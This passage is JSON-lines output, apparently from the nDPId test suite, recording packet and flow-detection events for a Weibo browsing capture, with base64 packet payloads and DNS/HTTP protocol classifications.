+00424{"flow_id":27,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":290,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":383893,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"kDVu60UQeJKcD6iOCABFAAA0W1FAAEAGOK\/AqAFpXbyG9ovgAFAoLVKlyNYyj4AQAOWyTgAAAQEICgBBCgMDdgyj"} +00438{"flow_id":28,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":291,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":384495,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iOkDVu60UQCABFAAA8AABAADgGm\/hdvIb2wKgBaQBQi+Gi04d5CaQaRKAS\/\/+sgAAAAgQFqAQCCAoDdgyjAEEJ9wEDAwc="} +00423{"flow_id":28,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":292,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":384519,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"kDVu60UQeJKcD6iOCABFAAA0E7VAAEAGgEvAqAFpXbyG9ovhAFAJpBpEotOHeoAQAOXaTwAAAQEICgBBCgMDdgyj"} +01059{"flow_id":28,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":293,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":384656,"pkt_caplen":539,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":539,"pkt_l4_len":505,"pkt":"kDVu60UQeJKcD6iOCABFAAINE7ZAAEAGfnHAqAFpXbyG9ovhAFAJpBpEotOHeoAYAOVvCQAAAQEICgBBCgMDdgyjR0VUIC90Ni9zdHlsZS9pbWFnZXMvY29tbW9uL2ZvbnQvd2JmaWNvbi53b2ZmP2lkPTIwMTYwNTExMTc0NiBIVFRQLzEuMQ0KSG9zdDogaW1nLnQuc2luYWpzLmNuDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoWDExOyBMaW51eCB4ODZfNjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS81MC4wLjI2NjEuMTAyIFNhZmFyaS81MzcuMzYNCk9yaWdpbjogaHR0cDovL3d3dy53ZWliby5jb20NCkFjY2VwdDogKi8qDQpSZWZlcmVyOiBodHRwOi8vaW1nLnQuc2luYWpzLmNuL3Q2L3N0eWxlL2Nzcy9tb2R1bGUvYmFzZS9mcmFtZS5jc3M\/dmVyc2lvbj0yMDE2MDUxMzA1MzcNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZSwgc2RjaA0KQWNjZXB0LUxhbmd1YWdlOiBlbi1VUyxlbjtxPTAuOCxpdC1JVDtxPTAuNixpdDtxPTAuNCxydTtxPTAuMg0KDQo="} +00810{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":293,"source":"weibo.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":4,"flow_first_seen":1463089073334,"flow_last_seen":1463089073384,"flow_tot_l4_data_len":617,"flow_min_l4_data_len":32,"flow_max_l4_data_len":505,"flow_avg_l4_data_len":154,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"93.188.134.246","src_port":35809,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.Sina(Weibo)","breed":"Fun","category":"SocialNetwork"},"http": {"hostname":"img.t.sinajs.cn","url":"img.t.sinajs.cn\/t6\/style\/images\/common\/font\/wbficon.woff?id=201605111746","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/50.0.2661.102 Safari\/537.36"}} +00551{"flow_id":20,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":298,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":393823,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"eJKcD6iOkDVu60UQCABFAACRAABAAEARtqHAqAEBwKgBaQA1RnMAfV+\/WFGBgAABAAMAAAAAAnUxA2ltZwZtb2JpbGUEc2luYQJjbgAAAQABwAwABQABAAAACQAZBWFkaW1nBGdzbGIIc2luYWVkZ2UDY29tAMAzAAUAAQAAAAoADQV3ZWlibwRncmlkwD7AWAABAAEAAAAvAATeSRxg"} +00677{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":298,"source":"weibo.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":2,"flow_first_seen":1463089073286,"flow_last_seen":1463089073393,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":47,"flow_max_l4_data_len":125,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.1","src_port":18035,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Sina(Weibo)","breed":"Fun","category":"SocialNetwork"},"dns": {"query":"u1.img.mobile.sina.cn","num_queries":1,"num_answers":3,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"222.73.28.96"}} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":299,"source":"weibo.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1463089073394,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.1","src_port":11798,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":29,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":299,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":394448,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"kDVu60UQeJKcD6iOCABFAAA\/KDNAAEARjsDAqAFpwKgBAS4WADUAK\/dEyn0BAAABAAAAAAAAB2FjY291bnQFd2VpYm8DY29tAAABAAE="} +00646{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":299,"source":"weibo.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1463089073394,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.1","src_port":11798,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Sina(Weibo)","breed":"Fun","category":"SocialNetwork"},"dns": {"query":"account.weibo.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":300,"source":"weibo.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1463089073394,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"222.73.28.96","src_port":42275,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":30,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":300,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":394759,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"kDVu60UQeJKcD6iOCABFAAA8VdhAAEAGKCnAqAFp3kkcYKUjAFC1h1\/eAAAAAKACchBUFAAAAgQFtAQCCAoAQQoGAAAAAAEDAwc="} +00594{"flow_id":19,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":303,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":423772,"pkt_caplen":190,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":190,"pkt_l4_len":156,"pkt":"eJKcD6iOkDVu60UQCABFAACwAABAAEARtoLAqAEBwKgBaQA1oYgAnCOtK+iBgAABAAUAAAAAAmpzAXQGc2luYWpzAmNuAAABAAHADAAFAAEAAAA8AAcEd2NkbsARwCwABQABAAAAKQAVBnNpbmFqcwVjc2dsYgV0eGNkbsAYwD8ABQABAAAEEgAUCG40Y3N3aGszBWdjY2RuA25ldADAYAABAAEAAAADAARdvIb2wGAAAQABAAAAAwAEXbyG8Q=="} +00672{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":303,"source":"weibo.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":2,"flow_first_seen":1463089072885,"flow_last_seen":1463089073423,"flow_tot_l4_data_len":196,"flow_min_l4_data_len":40,"flow_max_l4_data_len":156,"flow_avg_l4_data_len":98,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.1","src_port":41352,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Sina(Weibo)","breed":"Fun","category":"SocialNetwork"},"dns": {"query":"js.t.sinajs.cn","num_queries":1,"num_answers":5,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"93.188.134.246"}} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":304,"source":"weibo.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1463089073424,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.1","src_port":16804,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00431{"flow_id":31,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":304,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":424254,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"kDVu60UQeJKcD6iOCABFAAA4KDhAAEARjsLAqAFpwKgBAUGkADUAJAai81YBAAABAAAAAAAAAWMFd2VpYm8CY24AAAEAAQ=="} +00639{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":304,"source":"weibo.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1463089073424,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.1","src_port":16804,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Sina(Weibo)","breed":"Fun","category":"SocialNetwork"},"dns": {"query":"c.weibo.cn","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":305,"source":"weibo.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1463089073424,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"93.188.134.246","src_port":35811,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":32,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":305,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":424339,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"kDVu60UQeJKcD6iOCABFAAA8dN1AAEAGHxvAqAFpXbyG9ovjAFD5+n7QAAAAAKACchAf3wAAAgQFtAQCCAoAQQoNAAAAAAEDAwc="} +00566{"flow_id":22,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":306,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":478883,"pkt_caplen":171,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":171,"pkt_l4_len":137,"pkt":"eJKcD6iOkDVu60UQCABFAACdAABAAEARtpXAqAEBwKgBaQA1yPAAiVtu8RCBgAABAAUAAAAAAWcGYWxpY2RuA2NvbQAAAQABwAwABQABAADy0wAXAWcGYWxpY2RuA2NvbQdkYW51b3lpwA7AKgABAAEAAAGzAAQvWUHlwCoAAQABAAABswAEL1lBx8AqAAEAAQAAAbMABC9ZQcbAKgABAAEAAAGzAAQvWUHk"} +00657{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":306,"source":"weibo.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":2,"flow_first_seen":1463089073287,"flow_last_seen":1463089073478,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":38,"flow_max_l4_data_len":137,"flow_avg_l4_data_len":87,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.1","src_port":51440,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"g.alicdn.com","num_queries":1,"num_answers":5,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"47.89.65.229"}} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":307,"source":"weibo.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1463089073479,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.1","src_port":50533,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":33,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":307,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":479208,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"kDVu60UQeJKcD6iOCABFAAA8KD5AAEARjrjAqAFpwKgBAcVlADUAKPnf1EwBAAABAAAAAAAABGRhdGEFd2VpYm8DY29tAAABAAE="} +00643{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":307,"source":"weibo.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1463089073479,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.1","src_port":50533,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Sina(Weibo)","breed":"Fun","category":"SocialNetwork"},"dns": {"query":"data.weibo.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":308,"source":"weibo.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1463089073479,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"47.89.65.229","src_port":50827,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":34,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":308,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":479289,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"kDVu60UQeJKcD6iOCABFAAA8PQxAAEAGymDAqAFpL1lB5caLAbuG5TcXAAAAAKACchASAQAAAgQFtAQCCAoAQQobAAAAAAEDAwc="} +00489{"flow_id":23,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":309,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":488461,"pkt_caplen":112,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":112,"pkt_l4_len":78,"pkt":"eJKcD6iOkDVu60UQCABFAABiAABAAEARttDAqAEBwKgBaQA10NoATp++kZuBgAABAAIAAAAAA2xvZwZtbXN0YXQDY29tAAABAAHADAAFAAEAAAIfAAoDbG9nA2dkc8AQwCwAAQABAAAAIwAEjM2uAQ=="} +00659{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":309,"source":"weibo.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":2,"flow_first_seen":1463089073287,"flow_last_seen":1463089073488,"flow_tot_l4_data_len":118,"flow_min_l4_data_len":40,"flow_max_l4_data_len":78,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.1","src_port":53466,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"log.mmstat.com","num_queries":1,"num_answers":2,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"140.205.174.1"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":310,"source":"weibo.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1463089073488,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"140.205.174.1","src_port":48352,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":35,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":310,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":488757,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"kDVu60UQeJKcD6iOCABFAAA8K\/hAAEAGEeTAqAFpjM2uAbzgAbtP+SHlAAAAAKACchCeNwAAAgQFtAQCCAoAQQodAAAAAAEDAwc="} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":311,"source":"weibo.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":1463089073488,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"140.205.174.1","src_port":48353,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":36,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":311,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":488783,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"kDVu60UQeJKcD6iOCABFAAA8i2VAAEAGsnbAqAFpjM2uAbzhAbvMrYF4AAAAAKACchDB7gAAAgQFtAQCCAoAQQodAAAAAAEDAwc="} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":329,"source":"weibo.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1463089073537,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"222.73.28.96","src_port":42280,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":37,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":329,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":537120,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"kDVu60UQeJKcD6iOCABFAAA8pN1AAEAG2SPAqAFp3kkcYKUoAFA4Ca70AAAAAKACchCCVAAAAgQFtAQCCAoAQQopAAAAAAEDAwc="} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":330,"source":"weibo.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1463089073537,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"47.89.65.229","src_port":50831,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":38,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":330,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":537807,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"kDVu60UQeJKcD6iOCABFAAA8GyhAAEAG7ETAqAFpL1lB5caPAbufLBEBAAAAAKACchAfvgAAAgQFtAQCCAoAQQopAAAAAAEDAwc="} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":331,"source":"weibo.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":1463089073537,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"140.205.174.1","src_port":48356,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":39,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":331,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":537924,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"kDVu60UQeJKcD6iOCABFAAA8abpAAEAG1CHAqAFpjM2uAbzkAbvb32OTAAAAAKACchDQkgAAAgQFtAQCCAoAQQopAAAAAAEDAwc="} +00423{"flow_id":25,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":335,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":542677,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iOkDVu60UQCABFAAA0g5JAADgGGG5dvIb2wKgBaQBQi944y47XgmYYDIAQAqTEEAAAAQEICgN2DUcAQQoD"} +00424{"flow_id":26,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":336,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":544415,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iOkDVu60UQCABFAAA0uN1AADgG4yJdvIb2wKgBaQBQi9\/6KbWbZXHdMYAQAqMzvAAAAQEICgN2DUgAQQoD"} +00962{"flow_id":25,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":337,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":545794,"pkt_caplen":467,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":467,"pkt_l4_len":433,"pkt":"eJKcD6iOkDVu60UQCABFAAHFg5NAADgGFtxdvIb2wKgBaQBQi944y47XgmYYDIAYAqRzaQAAAQEICgN2DUgAQQoDSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDEyIE1heSAyMDE2IDIxOjM3OjUzIEdNVA0KU2VydmVyOiBQV1MvOC4xLjM2DQpYLVB4OiBtcyBoMC1zNjUucDEtbXhwICggaDAtczcxLnAxLW14cCksIGh0IGgwLXM3MS5wMS1teHAuY2RuZ3AubmV0DQpFVGFnOiAiNTVlZDcyNjktYjg2Ig0KQ2FjaGUtQ29udHJvbDogbWF4LWFnZT0xMjk2MDAwDQpFeHBpcmVzOiBUdWUsIDE3IE1heSAyMDE2IDEzOjQ1OjU0IEdNVA0KQWdlOiA4OTIzMTkNCkNvbnRlbnQtTGVuZ3RoOiAyOTUwDQpDb250ZW50LVR5cGU6IGltYWdlL3BuZw0KTGFzdC1Nb2RpZmllZDogTW9uLCAwNyBTZXAgMjAxNSAxMToxODowMSBHTVQNCkFjY2Vzcy1Db250cm9sLUFsbG93LU9yaWdpbjogKg0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +00423{"flow_id":25,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":338,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":545827,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"kDVu60UQeJKcD6iOCABFAAA0H8tAAEAGdDXAqAFpXbyG9oveAFCCZhgMOMuQaIAQAO3EDQAAAQEICgBBCisDdg1I"} +01251{"flow_id":25,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":339,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":547137,"pkt_caplen":678,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":678,"pkt_l4_len":644,"pkt":"eJKcD6iOkDVu60UQCABFAAKYg5VAADgGFgddvIb2wKgBaQBQi944y5YEgmYYDIAYAqSKyAAAAQEICgN2DUgAQQoDL8Kf6vtrTs3bKHQ6ykIpearE77upLtHiGZ4UfmYrSfYGz5pRqlHGPpIfNZHzKGCdavQuMRy5A0dBVcV1Q0IOHDgArVu3NiRWRnBwMBw8eFAdnU+YqUNyH01ym9CUyMtvBNkKzZGxghyhICHDtVxKO56wGj0oW2mW+hQImmHS9gTJXzZxIrl3O1xFcEYNQ0Z0B9eZbw1\/dWZmJjRu3FiLXI6wsDAoKiqynqr3Z+kQ\/LYGuaEUUvDiUoYQ6j5XSClMPu0PU7TLJb3FUn0HaYrNNYCV\/AKf\/BABKoKLZEOWTPudIQnl5eXQvn17W+RyLFiwwHq8OF1wqUUP5VpsI998jT53e5sfwD4+4ESx2cDIczZo0034dT1NEh8VJuReVcgrSL5TJzyqYcjKXRmGHKxcudKSREZ+dnY2JCUl1ZBFRkaqvYXOT6gIVhl1Ps9GsR9P318V5B3ZKFTAKNW4ivr6kDxb5r12UjwLT7T8aJH4eN2kLV\/fl5rI+fSapEOwSzbkzYsOQwL69+9\/mzA\/Pz+YMmUKbNu2DTZu3A